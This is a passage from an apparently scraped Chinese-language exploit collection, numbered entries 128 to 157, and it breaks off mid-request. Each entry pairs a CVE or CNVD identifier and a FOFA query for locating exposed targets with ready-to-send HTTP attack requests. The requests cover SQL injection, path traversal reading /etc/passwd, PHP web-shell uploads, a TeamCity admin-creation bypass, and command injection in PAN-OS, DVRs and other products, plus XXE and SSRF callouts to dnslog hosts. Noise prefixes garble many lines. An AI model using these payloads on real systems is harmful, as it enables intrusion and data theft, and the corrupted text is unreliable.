, \  M+ m* `; |# z+ U4 X, q<?xml version="1.0" encoding="UTF-8"?>
' t1 z3 A1 M6 X& ^$ |<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
<test>&t;</test>
. h6 u* c' U3 V# X5 i/ Z- U2 J------WebKitFormBoundaryJGgV5l5ta05yAIe0--

6 q2 S! K: @9 R- S3 q) j! n

- r3 \+ R' N3 ]4 Y0 x) u0 d7 @128. Adobe ColdFusion 反序列化
6 c' h2 c6 p& ^+ K' |3 O0 D+ aCVE-2023-38203
3 o( ]1 n5 J' M+ bAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD
. x6 b' r+ j& f' w! r+ P
129. Adobe ColdFusion 任意文件读取
  @: j8 H- G2 ~( B  t: ?1 ]$ f' vCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
! t* J2 R0 ?: e+ i3 ~6 Y第一步，获取uuid
$ Q+ F+ ]9 ^: [GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
7 _1 P- w% ^) \$ |6 U6 sAccept-Encoding: gzip, deflate
" ]' ~, k9 ~( aConnection: close
/ a' S) y% R; }9 r
% J( P! g( K" |, b1 G! \) L  P- T
1 b) x, h! M8 A/ b! D4 ?# F* R; Q第二步，读取/etc/passwd文件
0 B( e1 r1 C7 c6 eGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
+ k+ Y0 T0 u" [Accept-Encoding: gzip, deflate
0 Q: I# j# X6 hConnection: close
- v( P  D7 U! [+ j7 j( G' o9 puuid: 85f60018-a654-4410-a783-f81cbd5000b9
" J) {. Q5 R- C

130. Laykefu客服系统任意文件上传
! J' b6 h5 a6 lFOFA：icon_hash="-334624619"
0 a' f0 p; V0 i5 D, C4 @- EPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
7 v3 P  F! B  C# R# J" [5 B9 v* ^: tAccept: application/json, text/javascript, */*; q=0.01
* O* ~" S0 x& C& K( s1 `. JX-Requested-With: XMLHttpRequest
2 y& I" Y; z4 K. r) U$ d! PUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
6 B+ E0 p) L* ~( x9 p; A0 H5 E* RContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
- t. J) V8 O5 x: v$ R. e1 x8 PAccept-Encoding: gzip, deflate
1 A! N9 y, Q7 C# I9 R- U; l( uAccept-Language: zh-CN,zh;q=0.9
  R' d: G7 o* r* ]& xCookie: user_name=1; user_id=3
% P0 y' r& P6 a6 b2 z) wConnection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
2 X0 ?9 O5 Y5 q5 z+ V' `Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
. w4 B: o- Y) ~9 L9 W1 `. f
* u) j% z) K; x; p# S1 }9 h<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--

5 T' X# R( G# e6 x3 j/ N
$ c# G( @- ^' j131. Mini-Tmall <=20231017 SQL注入
& a! a% Y7 Z; U7 [! o% F% aFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
: U, m, K9 L3 H- p
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
8 ?  D0 a9 G, e9 ^7 s1 Q% u- XCVE-2024-27198
FOFA：body="Log in to TeamCity"
, x3 b  o/ D8 Q; q1 v6 ePOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
. t- [9 G: q) K' \' e/ u9 e$ NHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 `$ e$ f: \. K) w! a& iAccept: */*
0 W" B% @/ @# x, U3 BContent-Type: application/json
Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
* p/ j; L4 ~" ^0 C1 E/ l
4 n' o4 X. q3 E$ v% @! w, g8 L. ?
. e& s, [( O& Y7 r0 E3 `$ C3 u) BCVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp

6 {' n7 D  b! ?# S! b/ i
, e; e0 X& v- K2 B2 U* d: aCVE-2024-27198-RCE.py
/ ?" y+ O0 j8 e
, a  t; I) e/ t0 K! {5 C133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
5 k4 h4 g" u1 g) W' lPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
0 F9 p  w! E8 B% Y) [9 @Host: your-ip
$ W; u1 c/ f6 t9 n0 E& h7 ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
4 t) `" u/ F3 i3 Q) Z
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
( k% W: W6 A: MContent-Type: application/octet-stream
+ q% o% D4 ]9 {0 i1 |/ S3 T$ w2 W
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
1 q& E# ]" ^. F

# p; m+ ]9 b+ j7 M( h
& a0 n! q9 b1 |; u134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
0 w" n9 w2 N; R* rNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
& s7 E3 d# M/ f7 [; H+ Y' I8 bPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
% O! `% w6 M. r- F0 p) |4 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
) B8 e# ~, V0 A$ ?1 ^+ TAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
" }  H' t7 y: `8 ^4 ^& ^4 `! v5 WSec-Fetch-Dest: empty
) P5 T9 C( Q4 T3 fSec-Fetch-Mode: cors
7 L/ C# s- J1 F( d8 _Sec-Fetch-Site: same-origin
  d1 j% g: i- x( lTe: trailers
' s, b8 P' r: W4 T7 fConnection: close
Content-Type: application/x-www-form-urlencoded
6 t. O6 O: q5 N* n/ `. eContent-Length: 263
6 s6 _; C' Z# V
! P7 g& R8 E) X4 O- D5 r, \( Gjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


# S8 u2 h( P3 A135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
* }! }8 Z% R. ^7 n, V3 V: e) uFOFA：app="网康科技-NS-ASG安全网关"
" S' z& k' i1 {. Q+ w7 S; w: l- mGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
; J# G! ], g: d7 r: sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


136. NextChat cors SSRF
CVE-2023-49785
& m7 @4 ^# J0 e' [8 c4 ^! o$ W! dFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
0 H9 s! V4 f7 e  P2 c( RConnection: close
7 g+ |% c( H( E5 o) J" n6 x" G2 tAccept: */*
1 s$ a% A. k# _# m/ G/ j* `Accept-Language: en
Accept-Encoding: gzip

! j8 j4 ^9 M7 r0 Z- p
137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
( z2 B& e1 G8 Q, K: w- K  w1 b* qFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
. N  y4 x2 c. N$ p. D) {5 [. N# C# QGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
3 g6 b/ k) L- e* L7 }9 N6 u- O% X* VConnection: close
* U5 z2 I' y/ \8 a! {, ZCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
" ~, e. U1 k) p+ X+ s3 L& m3 @Upgrade-Insecure-Requests: 1
8 s! A7 [, g  M# u
& t# B0 t7 T+ ]7 r: L
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
% o5 G7 A3 U) G' H1 qCVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
% O: u+ D2 V4 m7 l% f( v! \GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
- V9 ?: D  y3 N4 o0 e) N1 NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
$ v# v6 d- U& pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; W0 [0 G9 N6 ]6 d8 g4 z6 TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
. T3 w# T, l3 Y& v! _- @Upgrade-Insecure-Requests: 1

: z6 k- \# J' w2 Y/ O/ c) {, _- h
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
1 p8 J' t' K2 Z5 Y0 D: VCVE-2024-2622
  ]. g3 B% W6 Q4 C4 oFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
0 U; [: s% L2 t0 ~2 hGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
9 @  G5 I  r* rHost: x.x.x.x
0 ?/ j6 s* H! P- c* zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! j$ t/ g6 V+ ^; p9 u% B6 O7 O+ BAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1


3 ~% X5 e6 k6 P* r. h140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
  J# T3 b' E) b  X: F4 uFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
" k! s; D4 M3 u% v+ F' CHost: x.x.x.x
6 G8 U, ^/ O- n, Z% ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 L- v9 F1 O9 v8 Q7 B; o) s+ aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
$ ]0 G5 Z. }6 ?8 f9 u* A( V, GCookie: authcode=h8g9
" d9 S4 O$ d! f: A2 |3 K' o0 kUpgrade-Insecure-Requests: 1

8 U8 a/ n1 e; R% T0 ]
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
: Z& T0 v3 s6 O. m( EUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
: X2 j6 y3 @( [! z4 |Content-Type: application/x-www-form-urlencoded
5 z; K; ~% `, g/ J
1 M0 m% l* t5 P7 L8 U; G
3 b+ L" K8 \  l. Y! Ddep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

6 I$ U  `8 w" z5 e' ]) e
. q' c' L( E: z- J& y7 O142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
6 F7 j  z9 G8 k/ d2 w: N5 e( `FOFA：body="/808gps/"
0 e  q" Q8 z7 r6 f' B+ M1 Kadmin/admin
  t# z' T9 g4 L4 A1 b  f+ [143. Netis WF2780 v2.1.40144 远程命令执行
5 z% S1 V9 Q" N" F) f/ a, ACVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD
% Y4 Y3 ]1 j/ L
- e& }# m, M, o  m144. D-Link nas_sharing.cgi 命令注入
. p! B7 Q# ]8 v# u& C6 L: SFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
7 E* D; A  D3 `, h4 e9 z/ q; a- [GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
) p9 ]% p* K" {5 J2 }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
& Y9 [: u  c: ]7 w1 kConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

/ h, ~9 Q- b& f$ y' ]/ ]2 ~
' ^, e/ ~4 y" v1 O145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
" @& @0 u5 J6 J7 B$ ~& _* t6 NGET /global-protect/login.esp HTTP/1.1
- d. ]' u6 Q$ w; jHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
0 V+ J" S- w* E+ M, Y. T+ k0 ?1 A, W
8 H1 f4 f- g+ \) m) `+ {& p' a4 E
2 x- Y7 I* J3 h, u3 m+ n" d0 |1 b146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
9 t2 C. Q# h8 w9 V8 S2 yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
7 M. {2 H. Q+ |& BConnection: close


" ?# P6 M+ {' N$ t* K; Z" W147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
. N) V, \+ H7 [+ _  Q4 k/ w& n# h) zCVE-2024-32399
, Q- D/ A- Y+ b: C! AFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
8 i1 C1 c0 `) ^2 i2 `! PConnection: close

. i: h1 k+ p1 c+ A! \0 `
148. CrushFTP 认证绕过模板注入
6 v, e5 W+ Q; ACVE-2024-4040
FOFA：body="CrushFTP"
; u" Z2 c0 M9 m) yPAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
7 o+ H: N" K' P5 z7 }: v/ j  F
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 [* ]# W" v- F: i3 F4 v7 r/ iAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
/ W( Y0 b. H. s) l2 n+ d0 oContent-Type: application/json;charset=UTF-8
Connection: close
. A9 q. |% T; P" c
2 H* a1 \3 q9 c- w' ~2 \- {{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
* |* `  T) v% {1 |# B+ oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 q  \" r4 ]1 n; c' C2 y" o! d" XAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
' T5 d, g8 Y' `' X  o# |- z# n3 e. xContent-Type: application/json;charset=UTF-8
2 U7 Z' X/ H. j" d- L$ ?Connection: close
Content-Length: 339
6 N4 Z/ j  j5 `; S( n
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
* u. m# d3 ^/ G) @: |) ?* l
2 y& L8 J: {0 M" N, Y
151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
* i/ z8 l8 |) {  yGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
' F& v% f! Y, E5 H: Q' s3 @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 W' y$ z8 }9 \# V. M' a3 UConnection: close
Accept-Encoding: gzip

3 j# F9 M' i# n0 U3 v( c5 f1 J7 c9 H
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
$ Q4 c  {& c3 x- _LoadMaster <= 7.2.59.2 (GA)
2 Z" p6 E: A0 s! Z6 RLoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
2 K1 z% N, a! H2 k6 Z: p2 N3 @6 [: oFOFA：body="LoadMaster"
6 s$ R6 A* U: W) G0 M( m' `JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
  u- g: x0 z( q- W! mGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
8 M# c' {" {6 v$ S, R4 L$ C; r& EConnection: close
Accept: */*
1 }; j, a0 J# h( e# B- n& N! hAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
! ]. a( x- F% |& s) f( `$ u9 DAccept-Encoding: gzip
& [' f6 D7 I! K" C1 m' D
# O6 f2 c' O( ^$ ]6 B6 H
153. gradio任意文件读取
/ l" b# v& @4 h; T# JCVE-2024-1561FOFA：body="__gradio_mode__"
8 a% p& e) Q% p8 i- Z& Z第一步，请求/config文件获取componets的id
http://x.x.x.x/config


第二步，将/etc/passwd的内容写入到一个临时文件
9 J0 |) c  ]+ n' X6 h/ @* \& TPOST /component_server HTTP/1.1
! b" l  l$ q9 H, j# A6 ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
. o: [" H9 p9 H" j8 T2 t5 Y4 gConnection: close
Content-Length: 115
9 ~- T9 r8 i0 T( DContent-Type: application/json
2 [; h# u: q5 x& j" L$ mAccept-Encoding: gzip

* h. ]' {  |: l9 c{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

5 S. l6 o1 ?: ^* j. V  M$ @4 N+ ^  }
第三步访问
+ [% R- A- K* _+ s4 Uhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
0 [  O. z, D% E3 s1 j5 _* l' Z3 `
3 E3 g% P+ R/ ]# V6 ~* h$ B) m
$ J7 F5 N! k' _* F# Z154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
! W5 {/ a' j! o. V$ a& k* i7 ~POST /twms-service-mfs/mfsNotice/page HTTP/1.1
' p& I' ?, q) }; O) J7 wHost: x.x.x.x
9 A, R0 ?. S4 Y- VContent-Length: 106
$ s* Q2 C, k- z; S. h0 RCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
7 t) `  g/ h+ z) T! a/ ROrigin: http://x.x.x.x
Content-Type: application/json
; |5 J7 c6 Y* S- sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 H# ?! `0 P) v7 T- e2 q7 oReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
" N8 `+ M4 K, ^# s+ eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
8 y2 v  k5 }) ^8 d  g" `
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
' ?2 l" {' f6 t$ Y8 Z2 `; X( C

155. 六零导航页 file.php 任意文件上传
7 z% w# X. e/ \: L$ P( l, Z/ e' L. bCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
8 d) i- Z: u- T' KPOST /include/file.php HTTP/1.1
/ J3 r0 e# ?; z( z! x% {- aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
& q: D9 i7 G3 J. b3 c9 \Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
4 M( C* b8 W& [" c  Q! p- eAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 l3 I0 L. ^4 \9 [; R! r! q# ?Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
3 c2 p/ p/ Q( W/ O3 BX-Requested-With: XMLHttpRequest
8 f( f/ o" }  {$ e' ~1 Y
! R$ y7 }; e9 a6 N( }-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
9 f' V3 |/ n$ d( BContent-Type: image/png
1 b/ {+ b) @7 A6 Y1 X' d, @- b
<?php phpinfo();unlink(__FILE__);?>
, j7 A/ C2 n6 p) j2 p! i-----------------------------qttl7vemrsold314zg0f--
1 K& S  n; @' y$ l- Q, ~% X% K

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
3 I% O- {; T; @  g( d
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
6 B# H1 e4 q7 I1 }  z6 ~FOFA："Location: /login.rsp"
+ n2 i8 V, \# N# ^·TBK DVR-4104
·TBK DVR-4216
2 G1 k/ |3 \) R0 Y4 ?  ]" Y. pcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

; e4 E  `' h; W$ ?# p
+ P, ]2 t7 R2 J8 ?POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
( ?  n( k0 W$ c4 L0 R: ZHost: x.x.x.x
) w0 B& O- Z: G' Z" }7 M2 i9 GUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; L; u: @3 @9 |9 |Connection: close
3 q" n: t3 U% _Content-Length: 0
Cookie: uid=1
Accept-Encoding: gzip


157. 美特CRM upload.jsp 任意文件上传
- c& W- [9 p& S4 QCNVD-2023-06971
. |2 b1 `) B; u- G; Q& xFOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
9 j8 a& g9 g# x4 E0 S, IHost: x.x.x.x
* h5 I+ J0 [  d6 P$ wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
- u9 U7 A  Y) S; o, p" fAccept-Language: zh-CN,zh;q=0.9
) _) l4 m: B) p: l  S- PCache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

3 s( ?* ]# S, J------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
* W/ U) I2 ?7 t1 c5 B------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
% C- m0 I7 @5 q# q. w+ N
null
  M# M0 A, |( d5 X$ v------WebKitFormBoundary1imovELzPsfzp5dN
0 d* e6 t+ N9 e  H) AContent-Disposition: form-data; name="form"

5 f) e- T9 n" U( T$ C0 V+ xnull
/ M2 u/ I  O8 b( C. B/ d. M. t3 r) R  n------WebKitFormBoundary1imovELzPsfzp5dN
/ C1 ]# [0 r1 `Content-Disposition: form-data; name="field"

null
' L+ G# p" O# J------WebKitFormBoundary1imovELzPsfzp5dN
+ {+ C4 D$ p0 k" t0 rContent-Disposition: form-data; name="filetitile"
6 j) f1 B& Y. J) W
null
5 R$ e7 k1 C: }9 w# x* \------WebKitFormBoundary1imovELzPsfzp5dN
